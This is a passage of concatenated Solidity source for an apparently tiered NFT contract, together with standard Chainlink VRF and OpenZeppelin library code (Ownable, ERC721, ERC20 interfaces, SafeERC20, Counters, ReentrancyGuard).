URIOverride(_tierToOverride, block.timestamp + (daysToLock * 1 days), _newURI); } function isURILocked(UselessLibrary.Tier _tierToOverride) public view returns (bool) { return block.timestamp <= uriOverridesLockedUntil[_tierToOverride]; } function revertPeasantURI( uint _tokenId, UselessLibrary.Tier _tierToRevert ) external requireIsInitialized(_tokenId) requireIsUnlockedAndValid(_tokenId, _tierToRevert) { uriOverrides[_tierToRevert] = ""; emit URIRevert(_tierToRevert); } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { if (randomNumber == 0) { return string(abi.encodePacked(baseURI(), _tokenId.toString(), "_x.json")); } else { UselessLibrary.Tier tier = getTier(_tokenId); if (tier == UselessLibrary.Tier.TIER_ZERO) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_0.json")); } else if (tier == UselessLibrary.Tier.TIER_ONE) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_1.json")); } else if (tier == UselessLibrary.Tier.TIER_TWO) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_2.json")); } else if (tier == UselessLibrary.Tier.TIER_THREE) { return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_3.json")); } else { assert(tier == UselessLibrary.Tier.TIER_FOUR); return string(abi.encodePacked(baseURIOrOverride(tier), _tokenId.toString(), "_4.json")); } } } function baseURIOrOverride(UselessLibrary.Tier tier) public view returns (string memory) { string memory uriOverride = uriOverrides[tier]; if (bytes(uriOverride).length == 0 && keccak256(bytes(uriOverride)) == keccak256(bytes(""))) { return baseURI(); } else { return uriOverride; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./vendor/SafeMathChainlink.sol"; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { using SafeMathChainlink for uint256; /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash].add(1); return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) public { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; library UselessLibrary { enum Tier { TIER_ZERO, TIER_ONE, TIER_TWO, TIER_THREE, TIER_FOUR, TIER_UNKNOWN } } // 